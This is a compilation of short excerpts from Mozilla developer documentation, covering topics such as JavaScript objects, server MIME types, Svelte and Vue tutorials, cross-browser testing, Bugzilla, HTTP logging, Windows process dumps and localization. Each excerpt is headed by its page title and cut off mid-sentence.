w this relates to JavaScript ("everything is an object"), and how to create constructors and object instances. Object-oriented programming -- the basics To start with, let's give you a simplistic, high-level view of what Object-oriented programming (OOP) is. We say simplistic, because OOP can quickly get very complicated, and giving it a full treatment now would probably confuse more than help. The basic idea of OOP is that we use objects to model real world things that we want to represent inside our programs, and/or provide a simple way to access functionality that would otherwise be hard or impossible to make use of. Objects can contain related data and code, which represent information about the thing you are trying to model, and functionality or behavior that you want it to have.
...1.greeting = function() { alert('Hi! I\'m ' + this.name + '.'); }; You can also pass an object literal to the Object() constructor as a parameter, to prefill it with properties/methods. Try this in your JS console: let person1 = new Object({ name: 'Chris', age: 38, greeting: function() { alert('Hi! I\'m ' + this.name + '.'); } }); Using the create() method Constructors can help you give your code order--you can create constructors in one place, then create instances as needed, and it is clear where they came from. However, some people prefer to create object instances without first creating constructors, especially if they are creating only a few instances of an object. JavaScript has a built-in method called create() that allows you to do that. With it, you can create...
JavaScript — Dynamic client-side scripting - Learn web development
arn than related technologies such as HTML and CSS. Before attempting to learn JavaScript, you are strongly advised to get familiar with at least these two technologies first, and perhaps others as well. Start by working through the following modules: Getting started with the Web Introduction to HTML Introduction to CSS Having previous experience with other programming languages might also help. After getting familiar with the basics of JavaScript, you should be in a position to learn about more advanced topics, for example: JavaScript in depth, as taught in our JavaScript guide Web APIs Modules This topic contains the following modules, in a suggested order for working through them. JavaScript first steps In our first JavaScript module, we first answer some fundamental ques...
...vaScript features like strings and arrays to the browser APIs built on top of JavaScript. You can even create your own objects to encapsulate related functions and variables into efficient packages. The object-oriented nature of JavaScript is important to understand if you want to go further with your knowledge of the language and write more efficient code, therefore we've provided this module to help you. Here we teach object theory and syntax in detail, look at how to create your own objects, and explain what JSON data is and how to work with it. Asynchronous JavaScript In this module we take a look at asynchronous JavaScript, why it is important, and how it can be used to effectively handle potential blocking operations such as fetching resources from a server. Client-side web APIs ...
Properly configuring server MIME types - Learn web development
b servers, web administrators may fail to add the new MIME types to their web server's configuration. This is a major source of problems for users of Gecko-based browsers, which respect the MIME types as reported by web servers and web applications. What are MIME types? MIME types describe the media type of content either in email or served by web servers or web applications and are intended to help guide a web browser in how the content is to be processed and displayed. Examples of MIME types are: text/html for normal web pages text/plain for plain text text/css for Cascading Style Sheets text/javascript for scripts application/octet-stream meaning "download this file" application/x-java-applet for Java applets application/pdf for PDF documents Technical Background Registered va...
...lue to be used for your content. If your content was created using a vendor's software application, read the vendor's documentation to see what MIME types should be reported for different media types. Look in the IANA | MIME Media Types registry which contains all registered MIME types. If the media type is displayed using a plug-in in Netscape Gecko, install the plug-in and then look in the Help->About Plug-ins Menu to see what MIME types are associated with the media type. Search for the file extension in FILExt or File extensions reference to see what MIME types are associated with that extension. How to set up your server to send the correct MIME types The fundamental idea is to configure your server to send the correct Content-Type HTTP header for each document. If you're usin...
Introduction to the server side - Learn web development
nd hence so are the frameworks. Client-side web frameworks simplify layout and presentation tasks while server-side web frameworks provide a lot of "common" web server functionality that you might otherwise have to implement yourself (e.g. support for sessions, support for users and authentication, easy database access, templating libraries, etc.). Note: Client-side frameworks are often used to help speed up development of client-side code, but you can also choose to write all the code by hand; in fact, writing your code by hand can be quicker and more efficient if you only need a small, simple web site UI. In contrast, you would almost never consider writing the server-side component of a web app without a framework -- implementing a vital feature like an HTTP server is really hard to do f...
...s to create websites that efficiently deliver information tailored for individual users and have a good idea of some of the things you might be able to do when you're a server-side programmer. Lastly, you should understand that server-side code can be written in a number of programming languages and that you should use a web framework to make the whole process easier. In a future article we'll help you choose the best web framework for your first site. Here we'll take you through the main client-server interactions in just a little more detail. Overview: First steps Next In this module Introduction to the server side Client-Server overview Server-side web frameworks Website security ...
Server-side website programming first steps - Learn web development
icle, you'll understand the additional power available to websites through server-side coding. Client-Server overview Now that you know the purpose and potential benefits of server-side programming, we're going to examine in detail what happens when a server receives a "dynamic request" from a browser. As most websites' server-side code handles requests and responses in a similar way, this will help you understand what you need to do when writing your own code. Server-side web frameworks The last article showed you what a server-side web application needs to do in order to respond to requests from a web browser. Now we show how web frameworks can simplify these tasks, and help you choose the right framework for your first server-side web application. Website security Website security req...
... Note: This topic deals with server-side frameworks, and how to use them to create websites. ...
Introduction to client-side frameworks - Learn web development
o a web that was, up until then, composed of static documents. The web became not just a place to read things, but to do things. JavaScript's popularity steadily increased. Developers who worked with JavaScript wrote tools to solve the problems they faced, and packaged them into reusable packages called libraries, so they could share their solutions with others. This shared ecosystem of libraries helped shape the growth of the web. Now, JavaScript is an essential part of the web, used on 95% of all websites, and the web is an essential part of modern life. Users write papers, manage their budgets, stream music, watch movies, and communicate with others over great distances instantaneously, with text, audio or video chat. The web allows us to do things that used to be possible only in native a...
...or its front-end, and posted a request for comments (RFC) on framework adoption. Eric Gardner, the author of the RFC, took time to outline the needs of the Wikimedia project and why certain frameworks were good choices for the team. This RFC serves as a great example of the kind of research you should do for yourself when planning to use a front-end framework. The State of JavaScript survey is a helpful collection of feedback from JavaScript developers. It covers many topics related to JavaScript, including data about both the use of frameworks and developer sentiment toward them. Currently, there are several years of data available, allowing you to get a sense of a framework's popularity. The Vue team has exhaustively compared Vue to other popular frameworks. There may be some bias in this ...
Componentizing our Svelte app - Learn web development
, self-contained block of code that encapsulates HTML, CSS and JavaScript that belong together, written into a .svelte file. Components can be big or small, but they are usually clearly defined: the most effective components serve a single, obvious purpose. The benefits of defining components are comparable to the more general best practice of organizing your code into manageable pieces. It will help you understand how they relate to each other, it will promote reuse, and it will make your code easier to reason about, maintain, and extend. But how do you know what should be split into its own component? There are no hard rules for this. Some people prefer an intuitive approach and start looking at the markup and drawing boxes around every component and subcomponent that seems to have its ow...
...ponent and subcomponent that seems to have its own logic. Other people apply the same techniques used for deciding if you should create a new function or object. One such technique is the single responsibility principle -- that is, a component should ideally only do one thing. If it ends up growing, it should be split into smaller subcomponents. Both approaches should complement each other, and help you decide how to better organize your components. Eventually, we will split up our app into the following components: Alert.svelte: A general notification box for communicating actions that have occurred. NewTodo.svelte: The text input and button that allow you to enter a new todo item. FilterButton.svelte: The All, Active, and Completed buttons that allow you to apply filters to the displ...
Getting started with Svelte - Learn web development
the performance gains that come from a framework with no runtime overhead will ensure that user interactions are snappy and responsive. Onboarding people with basic web development knowledge: Svelte has a shallow learning curve. Web developers with basic HTML, CSS, and JavaScript knowledge can easily grasp Svelte specifics in a short time and start building web applications. Moreover, with the help of Sapper (a framework based on Svelte), you can also develop applications with advanced features like server-side rendering, code splitting, file-based routing and offline support. And then there's also Svelte Native, which lets you build native mobile applications. How does Svelte work? Being a compiler, Svelte can extend HTML, CSS, and JavaScript, generating optimal JavaScript code without a...
...mediately see the results -- many programming languages provide a REPL. Svelte's REPL is much more than that. It's an online tool that allows you to create complete apps, save them online, and share with others. It's the easiest way to start playing with Svelte from any machine, without having to install anything. It is also widely used by Svelte community. If you want to share an idea, ask for help, or report an issue, it's always extremely useful to create a REPL instance demomstrating the issue. Let's have a quick look at the Svelte REPL and how you'd use it. It looks like so: To start a REPL, open your browser and navigate to https://svelte.dev/repl. On the left side of the screen you'll see the code of your components, and on the right you'll see the running output of your app. ...
Getting started with Vue - Learn web development
ed with allows you to choose which features you want to include in your project. Make sure that "Babel" and "Linter / Formatter" are selected. If they are not, use the arrow keys and the space bar to toggle them on. Once they are selected, press Enter to proceed. Next you'll select a config for the linter / formatter. Navigate to "Eslint with error prevention only" and hit Enter again. This will help us catch common errors, but not be overly opinionated. Next you are asked to configure what kind of automated linting we want. Select "Lint on save". This will check for errors when we save a file inside the project. Hit Enter to continue. Now, you will select how we want your config files to be managed. "In dedicated config files" will put your config settings for things like ESLint into their...
... example, if you choose a router, you will also have a views directory). .vue files (single file components) Like in many front-end frameworks, components are a central part of building apps in Vue. These components let you break a large application into discrete building blocks that can be created and managed separately, and transfer data between each other as required. These small blocks can help you reason about and test your code. While some frameworks encourage you to separate your template, logic, and styling code into separate files, Vue takes the opposite approach. Using Single File Components, Vue lets you group your templates, corresponding script, and CSS all together in a single file ending in .vue. These files are processed by a JS build tool (such as Webpack), which means you...
Styling Vue components with CSS - Learn web development
Objective: To learn about styling Vue components. Styling Vue components with CSS Before we move on to add more advanced features to our app, we should add some basic CSS to make it look better. Vue has three common approaches to styling apps: External CSS files. Global styles in Single File Components (.vue files). Component-scoped styles in Single File Components. To help familiarize you with each one, we'll use a combination of all three to give our app a nicer look and feel. Styling with external CSS files You can include external CSS files and apply them globally to your app. Let's look at how this is done. To start with, create a file called reset.css in the src/assets directory. Files in this folder get processed by Webpack. This means we can use CSS pre-p...
... needs to be done? </label> </h2> <input type="text" id="new-todo-input" name="new-todo" autocomplete="off" v-model.lazy.trim="label" class="input__lg" /> <button type="submit" class="btn btn__primary btn__lg"> Add </button> </form> </template> Let's also add the stack-large class to the <ul> tag in our App.vue file. This will help improve the spacing of our to-do items a bit. Update it as follows: <ul aria-labelledby="list-summary" class="stack-large"> Adding scoped styles The last component we want to style is our ToDoItem component. To keep the style definitions close to the component we can add a <style> element inside it. However, if these styles alter things outside of this component, it could be challenging to tr...
Handling common accessibility problems - Learn web development
annoying this would be when trying to navigate a really long page of text. Look at good-links.html, and note how they make sense when viewed out of context. This is not the case with bad-links.html -- they are all just "click here". Look at good-form.html, and note how the form inputs are described using their labels because we've used <label> elements properly. In bad-form.html, they get an unhelpful label along the lines of "blank". Look at our punk-bands-complete.html example, and see how the screenreader is able to associate columns and rows of content and read them out all together because we've defined headers properly. In bad-table.html, none of the cells can be associated at all. Note that NVDA seems to behave slightly stragely when you've only got a single table on a page; you cou...
...le, using a suitable checking tool. Make sure hidden content is visible by screenreaders. Make sure that functionality is usable without JavaScript wherever possible. Use ARIA to improve accessibility where appropriate. Run your site through an Auditing tool. Test it with a screenreader. Include an accessibility policy/statement somewhere findable on your site to say what you did. Finding help There are many other issues you'll encounter with accessibility; the most important thing to know really is how to find answers online. Consult the HTML and CSS article's Finding help section for some good pointers. Summary Hopefully this article has given you a good grounding in the main accessibility problems you might encounter, and how to test and overcome them. In the next article we'll ...
Introduction to automated testing - Learn web development
ed loads of different ways in which you can test your websites and apps, and explained the sort of scope your cross-browser testing efforts should have in terms of what browsers to test, accessibility considerations, and more. Sounds like a lot of work, doesn't it? We agree -- testing all the things we've looked at in previous articles manually can be a real pain. Fortunately, there are tools to help us automate some of this pain away. There are two main ways in which we can automate the tests we've been talking about in this module: Use a task runner such as Grunt or Gulp, or npm scripts to run tests and clean up code during your build process. This is a great way to perform tasks like linting and minifying code, adding in CSS prefixes or transpiling nascent JavaScript features for maximu...
...rait and landscape. Fit to screen (looks like a full screen icon) -- Fill the testing areas as much as possible with the device. Capture a bug (looks like a camera) -- Takes a screenshot, then allows you to annotate and save it. Issue tracker (looks like a deck of cards) -- View previously captured bugs/screenshots. Settings (cog icon) -- Allows you to alter general settings for the session. Help (question mark) -- Accesses help/support functions. Devtools -- Allows you to use your browser's devtools to directly debug or manipulate the page being shown in the test browser. This currently only works when testing the Safari browser on iOS devices. Device info -- Displays information about the testing device. Features -- Shows you what features the current configuration supports, e.g. cop...
Strategies for carrying out testing - Learn web development
ne tablet B grade: IE 9 for Windows C grade: n/a If you live somewhere else, or are working on a site that will serve somewhere else (e.g. certain countries, or locales), then you will probably have different common browsers to test. Note: "The CEO of my company uses a Blackberry, so we'd better make sure it looks good on that" can also be a persuasive argument. Browser support stats One helpful measure you can call on to inform your browser testing choices is browser support stats. There are a number of sites that provide such stats, for example: Netmarketshare Statcounter These are both very North America-centric, and not particularly accurate, but they can give you an idea of broad trends. For example, let's go to Netmarketshare. You can see that Opera is listed as having sm...
...so good options, if you can get them: A Linux PC available, in case you need to test bugs specific to Linux versions of browsers. Linux users commonly use Firefox, Opera, and Chrome. If you only have one machine available, you could consider creating a dual boot machine running Linux and Windows on separate partitions. Ubuntu's installer makes this quite easy to set up; see WindowsDualBoot for help with this. A couple of lower-spec mobile devices, so you can test performance of features like animations on less powerful processors. Your main work machine can also be a place to install other tools for specific purposes, such as accessibility auditing tools, screen readers, and emulators/virtual machines. Some larger companies have device labs that stock a very large selection of different...
Setting up your own test automation environment - Learn web development
hen you can do so by using LambdaTest restful API. Now if you go to your LambdaTest Automation dashboard, you'll see your test listed; from here you'll be able to see videos, screenshots, and other such data. You can retrieve network, command, exception, and Selenium logs for every test within your test build. You will also find a video recording of your Selenium script execution. Note: The HELP button on LambdaTest Automation Dashboard will provide you with an ample amount of information to help you get started with LambdaTest automation. You can also follow our documentation about running first Selenium script in Node JS. Note: If you don't want to write out the capabilities objects for your tests by hand, you can generate them using the Selenium Desired Capabilities Generator. ...
... that: let saucelabs = new SauceLabs({ username : "YOUR-USER-NAME", password : "YOUR-ACCESS-KEY" }); Again, replace the YOUR-USER-NAME and YOUR-ACCESS-KEY placeholders in the code with your actual user name and access key values (note that the saucelabs npm package rather confusingly uses password, not accessKey). Since you are using these twice now, you may want to create a couple of helper variables to store them in. Below the block where you define the driver variable (just below the build() line), add the following block -- this gets the correct driver sessionID that we need to write data to the job (you can see it action in the next code block): driver.getSession().then(function (sessionid){ driver.sessionID = sessionid.id_; }); Finally, replace the driver.sleep(20...
Git and GitHub - Learn web development
rview VCSes are essential for software development: It is rare that you will work on a project completely on your own, and as soon as you start working with other people you start to run the risk of conflicting with each other's work -- this is when both of you try to update the same piece of code at the same time. You need to have some kind of mechanism in place to manage the occurences, and help avoid loss of work as a result. When working on a project on your own or with others, you'll want to be able to back up the code in a central place, so it is not lost if your computer breaks. You will also want to be able to roll back to earlier versions if a problem is later discovered. You might have started doing this in your own work by creating different versions of the same file, e.g. myC...
...are other alternatives such as GitLab that you could try, and you could also try setting your own Git server up and using it instead of GitHub. We've only stuck with GitHub in this course to provide a single way that works. Guides Note that the links below take you to resources on external sites. Eventually we will are aiming to have our own dedicated Git/GitHub course, but for now, these will help you get to grips with the subject in hand. Hello World (from GitHub) This is a good place to start -- this practical guide gets you to jump right into using GitHub, learning the basics of Git such as creating repositories and branches, making commits, and opening and merging pull requests. Git Handbook (from GitHub) This Git Handbook goes into a little more depth, explaining what a VCS is, ...
Learn web development
fter mastering the essentials of vanilla HTML, CSS, and JavaScript, you should learn about client-side web development tools, and then consider digging into client-side JavaScript frameworks, and server-side website programming. Note: Our glossary provides terminology definitions. Besides, if you have a specific question about web development, our Common questions section may have something to help you. Random glossary entry Semantics In programming, Semantics refers to the meaning of a piece of code -- for example "what effect does running that line of JavaScript have?", or "what purpose or role does that HTML element have" (rather than "what does it look like?".) Topics covered The following is a list of all the topics we cover in the MDN learning area. Getting st...
...cd. For example, if you were in the parent directory: cd learning-area Update the repository using the following command: git pull Contact us If you want to get in touch with us about anything, the best way is to drop us a message on our Discourse forum. We'd like to hear from you about anything you think is wrong or missing on the site, requests for new learning topics, requests for help with items you don't understand, or any other questions or concerns. If you're interested in helping develop/improve the content, take a look at how you can help and get in touch! We are more than happy to talk to you, whether you are a learner, teacher, experienced web developer, or someone else interested in helping to improve the learning experience. ...
Information for users
Firefox Accessibility Features This page defines most of the accessibility features possible in Firefox. Features include assistive technology support on Windows (like Window-Eyes, JAWS, etc.), Firefox keyboard support, available accessibility extensions like Fire Vox and other extensions. ...
... accessibility extensions like Fire Vox and other extensions. Assistive Technology Compatibility This is a wiki page which users can edit to provide up to date information on any issues related to compatibility with assistive technologies such as screen readers, screen magnifiers, voice input software and on screen keyboards. Planning Ahead for Accessibility This document is intended to help testers and designers understand and plan what still needs to be added to our UI for full usable accessibility. Please give us feedback on the discussion list! Firefox Accessibility skins and themes At the excellent Access Firefox website, you will find many valuable resources, including a list of Firefox themes that have been specially designed for those with low vision: themes with ...
Testopia
). This gives us a stable code base to work from. Developing plugins or extensions for any software is like trying to hit a moving target. This decision allows us to focus our time more on releasing new features often and early rather than back porting. However, this means that most major feature will not be back ported to earlier versions unless and until we have time to do so. Anyone wishing to help in this effort is more than welcome. Bugzilla 4.x Mysql 5.0 or PostgreSQL 8.3 Mozilla compatible browser ;-) Additional Perl Modules: Text::CSV XML::Schema Validator XML::Schema::Parser (for importer) and JSON 2.10 TODO User preferences Notification emails More Reports See the Roadmap and Bug List for more details. Links FAQ Wiki ...
... Additional Perl Modules: Text::CSV XML::Schema Validator XML::Schema::Parser (for importer) and JSON 2.10 TODO User preferences Notification emails More Reports See the Roadmap and Bug List for more details. ...
Bugzilla
rg (often abbreviated b.m.o) is Mozilla.org's bug-tracking system, a database for recording bugs and enhancement requests for Firefox, Thunderbird, SeaMonkey, Camino, and other mozilla.org projects. Documentation about B.m.o. What to do and what not to do in Bugzilla Tips for how to use Bugzilla, as well as things you should avoid. Bugzilla etiquette A guide to etiquette; this guide will help you understand how best to conduct yourself on b.m.o. and how using proper manners and civility will help ensure your problem gets solved sooner rather than later. How to tell if a bug has already been reported It's useful (but not mandatory) for you to check if the problem you're reporting has been already tracked. This guide will help you do so. View All... Other materials An Introduc...
...QuickSearch is a quick, easy, and very effective way of quickly querying bugzilla. ...
Continuous Integration
TaskCluster and Treeherder TaskCluster, Mozilla's continuous integration (CI) system picks up changes pushed to Hg. TaskCluster generate binary builds for Firefox and Firefox for Android across a variety of operating sytems. After the builds are completed, they are used to run a series of correctness and performance tests. ...
...cluding backing out a patch which caused the problem and closing the tree (i.e., preventing any additional commits). Results in Treeherder are ordered by Mercurial pushes. Each TaskCluster job is represented by a colored label; green means a job has succeeded, while other colors represent different kinds of problems. The label text indicates the job type. For a full list of job types, see the Help menu in Treeherder's upper-right corner. Below is a list of the most common. Builds B - Normal build jobs; these jobs perform compilation and some compiled-code tests (e.g., 'make check'). Be - B2G build jobs for engineering builds; user builds are denoted with B, the same as for desktop and Android builds. N and Ne - Nightly build jobs; these jobs are similar to B and Be jobs, but are tri...
Debugging on Windows
emory view. Type/copy/drag the memory address of "int 3" into the memory view to get it to update on that part of the memory. Change the value of the memory to "90", close the memory view and hit "F5" to continue. Confused? See the screenshot below: VC++ 7.0? Automatically handling ASSERTIONS without a debugger attached When an assertion happens and there is not a debugger attached, a small helper application (windbgdlg.exe) is run. That application can automatically select a response to the "Do you want to debug" dialog instead of prompting if you configure it, for more info, see windbgdlg.exe. Debugging optimized builds To effectively debug optimized builds, you should enable debugging information which effectively leaves the debug symbols in optimized code so you can still set break...
...setting the environment variable MOZ_NO_REMOTE: set MOZ_NO_REMOTE=1 Or, starting with Firefox 2 and other Gecko 1.8.1-based applications, you can use the -no-remote command-line switch instead (implemented in bug 325509). You can also specify the profile to use with the -P profile_name command-line argument. Debugging JavaScript Use Venkman, the JavaScript Debugger for Mozilla. You can use helper functions from nsXPConnect.cpp to inspect and modify the state of JavaScript code from the MSVS debugger. For example, to print curent JavaScript stack to stdout, evaluate this in QuickWatch window: {,,xul}DumpJSStack() Note: Visual C++ will show you something in the quick watch window, but not the stack, you have to look in the OS console for the output. Also this magical command only wo...
HTTP logging
ied log file, and gather all the log files. You will see several files that look like: log.txt-main.1806, log.txt-child.1954, log.txt-child.1970, etc. This is because Firefox now uses multiple processes, and each process gets its own log file. For many bugs, the "log.txt-main" file is the only thing you need to upload as a file attachment to your Bugzilla bug (this is assuming you're logging to help a mozilla developer). Other bugs may require all the logs to be uploaded--ask the developer if you're not sure. Pat yourself on the back--a job well done! Thanks for helping us debug Firefox. Logging HTTP activity by manually setting environment variables Sometimes the about:networking approach won't work, for instance if your bug occurs during startup, or you're running on mobile, etc. In...
...gged data By default there is no limit to the size of log file(s), and they capture the logging throughout the time Firefox runs, from start to finish. These files can get quite large (gigabytes)! So we have added a 'rotate:SIZE_IN_MB' option to MOZ_LOG (we use it in the examples above). If you are using Firefox >= 51, setting this option saves only the last N megabytes of logging data, which helps keep them manageable in size. (Unknown modules are ignored, so it's OK to use 'rotate' in your environment even if you're running Firefox <= 50: it will do nothing). This is accomplished by splitting the log into up to 4 separate files (their filenames have a numbered extension, .0, .1, .2, .3) The logging back end cycles the files it writes to, while ensuring that the sum of these files' siz...
Experimental features in Firefox
ing it available on contenteditable content. See also bug 1205133 for details. Release channel Version added Enabled by default? Nightly 75 Yes Developer Edition 75 No Beta 75 No Release 75 No Preference name dom.forms.inputmode <link rel="preload"> The <link> element's rel attribute is intended to help provide performance gains by letting you download resources earlier in the page lifecycle, ensuring that they're available earlier and are less likely to block page rendering. Read Preloading content with rel="preload" for more details. For more details on the status of this feature, see bug 1639607. Release channel Version added Enabled by default? Nightly 78 Y...
...ilds effective in Firefox for Android 81 or later. It is enabled by default. Release channel Version added Enabled by default? Nightly 81 Yes Developer Edition -- -- Beta -- -- Release -- -- Preference name -- Security and privacy Block plain text requests from Flash on encrypted pages In order to help mitigate man-in-the-middle (MitM) attacks caused by Flash content on encrypted pages, a preference has been added to treat OBJECT_SUBREQUESTs as active content. See bug 1190623 for more details. Release channel Version added Enabled by default? Nightly 59 No Developer Edition 59 No Beta 59 No Release 59 No Pr...
Index
ion of settings, customizations, add-ons, and other personalizations that a user has made or installed into their copy of Firefox. You can find details about profiles on Mozilla's end-user support site. 168 Performance best practices for Firefox front-end engineers Best practices, Developing Firefox, Developing Mozilla, Firefox, Front-end, Mozilla, Performance This guide will help Firefox developers working on front-end code produce code which is as performant as possible--not just on its own, but in terms of its impact on other parts of Firefox. Always keep in mind the side effects your changes may have, from blocking other tasks to interfering with other user interface elements. 169 Privacy Privacy, Security This document lists privacy-related docume...
...top and Firefox for Android include built-in tracking protection. In Private Browsing windows (tabs, in Firefox for Android), Firefox will block content loaded from domains that track users across sites. 172 Security best practices for Firefox front-end engineers Best practices, Developing Firefox, Developing Mozilla, Firefox, Front-end, Mozilla, Performance This article will help Firefox developers understand the security controls in place and avoid common pitfalls when developing front-end code for Firefox. ...
Firefox
istributed Firefox builds dependencies, and/or to build Firefox.Multiple Firefox profilesA profile in Firefox is the collection of settings, customizations, add-ons, and other personalizations that a user has made or installed into their copy of Firefox. You can find details about profiles on Mozilla's end-user support site.Performance best practices for Firefox front-end engineersThis guide will help Firefox developers working on front-end code produce code which is as performant as possible--not just on its own, but in terms of its impact on other parts of Firefox. Always keep in mind the side effects your changes may have, from blocking other tasks, to interfering with other user interface elements.PrivacyThis document lists privacy-related documentation.Security best practices for Firefox ...
...end code produce code which is as performant as possible--not just on its own, but in terms of its impact on other parts of Firefox. Always keep in mind the side effects your changes may have, from blocking other tasks, to interfering with other user interface elements.PrivacyThis document lists privacy-related documentation.Security best practices for Firefox front-end engineersThis article will help Firefox developers understand the security controls in place and avoid common pitfalls when developing front-end code for Firefox.Site Identity ButtonThe Site Identity Button is a feature in Firefox that gives users more information about the sites they visit. Firefox profiles If you find yourself using multiple Firefox channels--or just multiple configurations--on a regular basis, you sho...
Gecko Keypress Event
eplaced with an ASCII character according to the following rules. The accel key depends on the platform. Ctrl is the accel key on Windows and Linux, while Meta (i.e. Command) is the accel key on Mac. When the accel key is down, the charCode of a keypress event may be replaced with a character from a Latin keyboard layout only when the original character is not an ASCII character. This behavior helps the internationalization of web applications that have custom shortcut keys. If Gecko doesn't replace the charCode with an ASCII character, the web application developers would need to consider all non-Latin keyboard layouts (Arabic, Greek, Hebrew, Russian, etc.). The charCode value depends on the state of CapsLock and NumLock (except they are currently ignored if Alt (Option) is down on Mac - ...
...+" modifiers="accel"/>. However, the Shift key must be used to enter '+' on US keyboard layout, and so the state of the Shift key causes the modifiers not to match those specified in the handler. For the US keyboard layout, a related handler is defined with <key key="=" modifiers="accel"/>, so that users do not need to use the Shift key to access the Zoom-in shortcut. Of course, this is not much help to users with other keyboard layouts. e.g., on a Japanese keyboard, '+' is entered with Shift+';' (bug 339723). Problem 2 The access keys for the menu items are specified with the localized characters on some localized builds. These localized access keys work fine with the keyboard layout of the locale. However, users with the same non-Latin keyboard layouts would also like to be able to use L...
HTTP Cache
ves (schedules to remove) any intermediate cache data held in memory for faster access (more about the intermediate cache below) nsILoadContextInfo Distinguishes the scope of the storage demanded to open. Mandatory argument to *Storage methods of nsICacheStorageService. ...
...o *Storage methods of nsICacheStorageService. //github.com/RealityRipple/UXP/blob/master/netwerk/base/public/nsILoadContextInfo.idl It is a helper interface wrapping following four arguments into a single one: private-browsing boolean flag anonymous load boolean flag app ID number (0 for no app) is-in-browser boolean flag Helper functions to create nsILoadContextInfo objects: C++ consumers: functions at LoadContextInfo.h exported header JS consumers: resource://gre/modules/LoadContextInfo.jsm module methods Two storage objects created with the same set of nsILoadContextInfo arguments are identical, containing the same cache entries. Two storage objects created with in any w...
How to get a process dump with Windows Task Manager
Introduction When tracking down the causes of process hangs, it is often helpful to obtain a process dump while the process is experiencing a hang. This article describes how to get a process dump with Task Manager on Windows. (To get a process dump for Thunderbird or some other product, substitute the product name where ever you see Firefox in these instructions.) Caution The memory dump that will be created through this process is a complete snapshot of the state of Firefox when you create the file, so it contains URLs of active tabs, history information, and possibly even passwords depending on what you are doing when the snapshot is taken. ...
...e memory dump that will be created through this process is a complete snapshot of the state of Firefox when you create the file, so it contains URLs of active tabs, history information, and possibly even passwords depending on what you are doing when the snapshot is taken. It is advisable to create a new, blank profile to use when reproducing the hang and capturing the memory dump. Please ask for help doing this! Requirements Windows To get a process dump, you need to be using Windows Vista or above. A Firefox nightly or release You need a Firefox version for which symbols are available from the Mozilla symbol server. You can use any official nightly build or released version of Firefox from Mozilla. You can find the latest trunk nightly builds under http://ftp.mozilla.org/pub/mozil...
JavaScript Tips
rn target.Value; if (target instanceof Components.interfaces.nsIRDFLiteral) return target.Value; return null; Don't test the return value of QueryInterface, it always returns the original variable if it succeeds. XPConnect knows all about tearoffs and modifies the object that you QueryInterface or instanceof to cache all its known interfaces. When passing an object to an XPCOM method it is helpful if the object you pass is an XPCOM object, so that the C++ method access a C++ object. However, this is not always necessary or desirable. For instance the offline observer declared above is a JavaScript object that is registered with an XPCOM object, so that the call back from XPCOM executes the JavaScript method. Some XPCOM methods expect an object that implements several interfaces thus req...
...tance the offline observer declared above is a JavaScript object that is registered with an XPCOM object, so that the call back from XPCOM executes the JavaScript method. Some XPCOM methods expect an object that implements several interfaces thus requiring you to write a QueryInterface method. ...
JavaScript code modules
with customizable buttons and items in Firefox's main window UI. DeferredTask.jsm Run a task after a delay. Dict.jsm Provides an API for key/value pair dictionaries. DownloadLastDir.jsm Supplies the path to the directory into which the last download occurred. Downloads.jsm Provides a single entry point to interact with the downloading capabilities of the platform. FileUtils.jsm Provides helpers for dealing with files. Geometry.jsm Provides routines for performing basic geometric operations on points and rectangles. HTTP.jsm A wrapper for XMLHttpRequest that provides convenient and simplified API for dealing with HTTP requests. JNI.jsm Abstracts the js-ctypes to provide an interface that allows JavaScript code to call code running in native JVMs. ISO8601DateUtils.jsm Provides ...
...racts the js-ctypes to provide an interface that allows JavaScript code to call code running in native JVMs. ISO8601DateUtils.jsm Provides routines to convert between JavaScript Date objects and ISO 8601 date strings. Log.jsm (formerly log4moz) Provides a log4j style API for logging, log messages to various endpoints, such as the Browser Console or a file on disk. NetUtil.jsm Provides helpful networking utility functions, including the ability to easily copy data from an input stream to an output stream asynchronously. openLocationLastURL.jsm Provides access to the last URL opened using the "Open Location" option in the File menu. OSFile.jsm Allows routines to access files. To which can be read, write, rename, create directories,etc. PerfMeasurement.jsm Provides access to low...
Bootstrapping a new locale
(see also https://developer.mozilla.org/en/Create_a_new_localization) The documentation here is no longer being maintained and is inaccurate. L10n documentation has moved to https://mozilla-l10n.github.io/localizer-documentation/ . To learn how to bootstrap a new locale for Mozilla projects, please see those documents. In Mozilla, we use the the Mercurial version control system (Hg) to help manage our localizations. When a localization team is registered and your Hg repository is set up for a locale, you can then clone the existing Mozilla release branch (i.e. where active development of the upcoming release of Firefox occurs) and then begin the necessary work for translation. Hg allows localizers to work locally on their machines and then "push" changes to their official Mozilla r...
... Bit Bucket Before a team becomes official, we like to get the localizers comfortable with the Hg commands that allow for cloning, pulling, committing, and pushing work to an experimental repository. We use a web service called Bit Bucket to start the learning process. To begin, contact the l10n-drivers to let them know that you are interested in starting a localization. The l10n-drivers will help set up an experimental Hg repository in Bit Bucket. You will need to create an account so you can access the service. Once you have that account, send the l10n-drivers the details to be added as a "writer". With that level of authority, you will be able to push and pull and manage the repository remotely. It will be just like working on Hg with Mozilla, yet you will use the Bit Bucket platform...
Index
their work. 7 L10n testing with xcode Firefox for iOS, Localization Once you have your l10n testing environment set up in Xcode, testing your Firefox on iOS localization is a breeze. 8 Localization and Plurals Internationalization, Localization You're likely here because you're localizing a .properties file and it had a link to this page. This page is to help explain how to localize these strings so that the correct plural form is shown to the user. For example, "1 page" vs "2 pages". 9 Localization content best practices Apps, Extensions, Internationalization, Localization, Mozilla, l10n, l12y This document provides best practices for developers to create localizable code, and describes how to avoid some localizability (l12y) com...
...tion AMO supports localized metadata for each extension. This data describes the extension, and doesn't necessarily change with each revision (but it can). The localizable data fields of an extension are: 23 Localizing with Koala This tutorial will guide you through making a couple of changes to Firefox's user interface using Koala, an add-on for Komodo Edit created to help localizing Mozilla. 24 Localizing with Mercurial Build documentation, Internationalization, Localization In Mozilla, we use the the Mercurial version control system (Hg) to manage our source code and localizations. Mercurial allows localizers to work locally (on their machines) and then push (an Hg term) changes to a remote repository, which usually is hosted on the Mozilla s...
Localizing extension metadata on addons.mozilla.org
ed above in the add-on's default locale (selected in step 1). The values you provide here are used as fallback values if someone requests a language that doesn't exist. Step 4 allows you to translate any of the above fields into any other language AMO supports. Remember, all fields are optional when localizing. Any field that is blank will just show up in the default locale. ...
